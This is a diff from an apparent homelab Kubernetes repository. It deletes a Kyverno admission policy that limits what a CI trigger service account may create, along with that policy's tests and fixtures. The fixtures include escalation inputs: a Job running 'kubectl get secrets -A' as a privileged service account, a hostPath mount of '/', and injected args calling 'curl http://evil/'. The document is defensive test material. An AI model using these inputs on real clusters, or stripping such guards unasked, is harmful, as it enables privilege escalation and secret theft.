# reports success for a store that never happened -- which is exactly what it did.
names="$(basic "https://${HOST}/api/v1/repos/${OWNER}/${REPO}/actions/secrets" \
| jq -rc '[.. | objects | select(has("name")) | .name] | unique')"
grep -q "$SECRET" <<<"$names" \
|| { echo " stored HTTP ${code} but ${SECRET} is NOT in ${names} -- refusing to claim success" >&2; exit 1; }
echo "==> stored and VERIFIED present: ${names}"
echo "==> stored."
cat <<'NOTE'
-8
View File
@@ -34,14 +34,6 @@ resources:
# policies, the next import is blocked in the gap.
- ../platform/kyverno/policies/label-cdi-worker-pods.yaml
- ../platform/kyverno/admission/secret-provenance.yaml
# R-SEC-02 — bounds what the conformance CI trigger may create. MUST be listed HERE: this
# Kustomization is what actually applies ClusterPolicies. Adding a policy only to
# platform/kyverno/admission/kustomization.yaml is a SILENT NO-OP — that file is reference
# only ("kept as reference; THIS file is the buildable render root" in
# platform/kyverno/kustomization.yaml, which itself ships only the namespace + HelmRelease).
# That is exactly how this policy shipped green and never reached the cluster on 2026-09-29,
# leaving the conformance-trigger identity live with nothing bounding it.
- ../platform/kyverno/admission/conformance-trigger-job-shape.yaml
# cilium: L2 LB IP pool + announcement policy (cilium.io CRDs already registered by Cilium)
- cilium/l2-ip-pool.yaml
- cilium/l2-announcement-policy.yaml
@@ -1,144 +0,0 @@
# Serves: R-SEC-02 (CI holds no broad cluster access)
#
# THIS POLICY IS THE SECURITY BOUNDARY. The RBAC in conformance/incluster/rbac.yaml is not.
#
# Kubernetes places NO `use` check on a Pod/Job's `serviceAccountName`. Any principal that can
# `create jobs` in namespace `conformance` can therefore create a Job that runs as
# `conformance-runner` — a privileged SA (nodes/patch, pods/exec, namespaces/patch) — with an
# arbitrary command. So the CI trigger credential, however narrow its own Role looks, IS the
# privileged identity unless something constrains the SHAPE of what it may create.
#
# That is what this does: for Jobs created by `conformance-trigger` ONLY, admit exactly the
# committed conformance run and deny everything else. The operator chose this model
# (docs/plans/l2-l3-conformance-ci-wiring.md §4, primary model) over the zero-credential
# GitOps-native alternative.
#
# ENFORCE AND FAIL-CLOSED, NOT SUBSTITUTED. Note this does NOT use
# ${KYVERNO_VALIDATION_ACTION} like the other admission policies: a security boundary that an
# environment overlay can downgrade to Audit is not a boundary. `failurePolicy: Fail` means a
# Kyverno outage blocks conformance Jobs rather than silently admitting unconstrained ones.
# Blocking CI is the correct failure direction here; admitting arbitrary privileged code is not.
#
# SCOPE: it constrains ONLY `conformance-trigger`. Jobs created by humans, by Flux, or by any
# other SA are untouched — so a broken policy cannot wedge the rest of the cluster.
#
# IMAGE PINNING — HONEST LIMIT, READ BEFORE RELYING ON THIS. The plan specifies pinning the
# exact `CONFORMANCE_RUNNER_IMAGE` digest. That image does not exist yet, so this enforces the
# enforceable half: the image must live under the conformance repository path AND be
# digest-pinned (`@sha256:`), never a mutable tag. Residual surface: anyone who can PUSH to that
# registry path could publish a different digest. TIGHTEN THIS when the image is built by
# replacing the `image` pattern below with the literal digest — a one-line change, reviewed in a
# PR, which is exactly where a change to the security boundary belongs.
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: conformance-trigger-job-shape
annotations:
policies.kyverno.io/title: Constrain what the conformance CI trigger may create
policies.kyverno.io/category: Supply chain
policies.kyverno.io/severity: critical
homelab.keithjackson.dev/requirements: R-SEC-02
homelab.keithjackson.dev/scope: admission-only
spec:
validationFailureAction: Enforce
failurePolicy: Fail
background: false
rules:
- name: trigger-may-create-only-the-committed-conformance-run
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
# As two separate `all` entries it is a schema error ("match resources not specified")
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger may create ONLY the committed conformance run: a single container,
digest-pinned conformance-runner image, serviceAccountName conformance-runner,
command ["./run.sh"], no host namespaces, non-root with privilege escalation disabled,
and only the `workspace` and `results` volumes. See
platform/kyverno/admission/conformance-trigger-job-shape.yaml.
pattern:
spec:
template:
spec:
serviceAccountName: conformance-runner
=(hostNetwork): "false"
=(hostPID): "false"
=(hostIPC): "false"
containers:
- image: "gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*"
command:
- "./run.sh"
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
=(privileged): "false"
- name: trigger-volumes-must-be-workspace-or-results
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
# As two separate `all` entries it is a schema error ("match resources not specified")
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may mount only the `workspace` and `results` volumes. An extra
volume is how a constrained pod reaches a host path, a secret, or another SA's token.
# foreach, NOT a `pattern` list: a Kyverno array pattern asserts "at least one element
# matches", which would happily admit a Job carrying `workspace` PLUS a hostPath. This
# asserts EVERY volume is one of the two allowed names.
foreach:
- list: "request.object.spec.template.spec.volumes"
deny:
conditions:
all:
- key: "{{ element.name }}"
operator: AnyNotIn
value: ["workspace", "results"]
- name: trigger-args-must-be-the-committed-flags
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
# As two separate `all` entries it is a schema error ("match resources not specified")
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Job args may contain only the conformance run's own flags
(--layer, --requirements, --include-scope, --strict-coverage) and their plain values.
Anything else — a shell, a path, a redirect — is denied.
foreach:
- list: "request.object.spec.template.spec.containers[0].args"
deny:
conditions:
all:
- key: "{{ regex_match('^(--layer|--requirements|--include-scope|--strict-coverage|[A-Za-z0-9][A-Za-z0-9,._-]*)$', element) }}"
operator: Equals
value: false
@@ -20,7 +20,3 @@ resources:
# --- secrets: the admission variant REPLACES the CI-only sops-block policy ---
# (../policies/disallow-plaintext-secrets.yaml is CI-only; see secret-provenance.yaml)
- secret-provenance.yaml
# --- R-SEC-02: constrain what the conformance CI trigger may create ---
# THE security boundary for CI cluster access. Enforce + fail-closed, deliberately NOT
# subject to ${KYVERNO_VALIDATION_ACTION}. See the file header.
- conformance-trigger-job-shape.yaml
@@ -1,57 +0,0 @@
# R-SEC-02 — the conformance CI trigger cannot escalate to arbitrary privileged execution.
#
# Each DENY case below is a real escalation path, not a style violation. The one that matters
# most is `evil-command`: correct SA, correct image, arbitrary command. That is the attack the
# whole model exists to stop, and RBAC alone cannot — Kubernetes places no `use` check on
# serviceAccountName, so `create jobs` in this namespace IS the privileged identity without
# this policy.
#
# user-info.yaml supplies the requesting identity. WITHOUT it the policy's `subjects` match
# never fires and every case trivially passes — a test that proves nothing.
apiVersion: cli.kyverno.io/v1alpha1
kind: Test
metadata:
name: conformance-trigger-job-shape
policies:
- ../../admission/conformance-trigger-job-shape.yaml
resources:
- resources.yaml
userinfo: user-info.yaml
results:
# ---- the committed run is ADMITTED ----
- policy: conformance-trigger-job-shape
rule: trigger-may-create-only-the-committed-conformance-run
kind: Job
resources: [good-run]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-volumes-must-be-workspace-or-results
kind: Job
resources: [good-run]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-args-must-be-the-committed-flags
kind: Job
resources: [good-run]
result: pass
# ---- THE escalation: runner SA + arbitrary command ----
- policy: conformance-trigger-job-shape
rule: trigger-may-create-only-the-committed-conformance-run
kind: Job
resources: [evil-command, evil-image, tag-not-digest, host-namespaces]
result: fail
# ---- an extra volume is the way out of a constrained pod ----
- policy: conformance-trigger-job-shape
rule: trigger-volumes-must-be-workspace-or-results
kind: Job
resources: [extra-volume]
result: fail
# ---- args beyond the committed flags ----
- policy: conformance-trigger-job-shape
rule: trigger-args-must-be-the-committed-flags
kind: Job
resources: [injected-args]
result: fail
@@ -1,154 +0,0 @@
# The committed shape — must be ADMITTED.
apiVersion: batch/v1
kind: Job
metadata:
name: good-run
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2,l3", "--requirements", "R-NET-01"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# THE ESCALATION: runner SA, but an arbitrary command. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: evil-command
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
---
# An arbitrary image running as the privileged SA. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: evil-image
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: docker.io/library/alpine:latest
command: ["./run.sh"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
---
# A mutable TAG instead of a digest — republishable under the same reference. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: tag-not-digest
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner:latest
command: ["./run.sh"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
---
# Host namespaces + privilege escalation. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: host-namespaces
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
hostPID: true
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
securityContext:
runAsNonRoot: false
allowPrivilegeEscalation: true
volumes:
- name: workspace
emptyDir: {}
---
# An extra volume — the way out of a constrained pod. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: extra-volume
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: hostroot
hostPath:
path: /
---
# Injected args beyond the committed flags. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: injected-args
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2", ";", "curl", "http://evil/"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
@@ -1,12 +0,0 @@
# The requesting identity the policy keys on. Without this the `subjects` match never fires and
# every case below would trivially "pass" — proving nothing.
apiVersion: cli.kyverno.io/v1alpha1
kind: UserInfo
metadata:
name: conformance-trigger
userInfo:
username: system:serviceaccount:conformance:conformance-trigger
groups:
- system:serviceaccounts
- system:serviceaccounts:conformance
- system:authenticated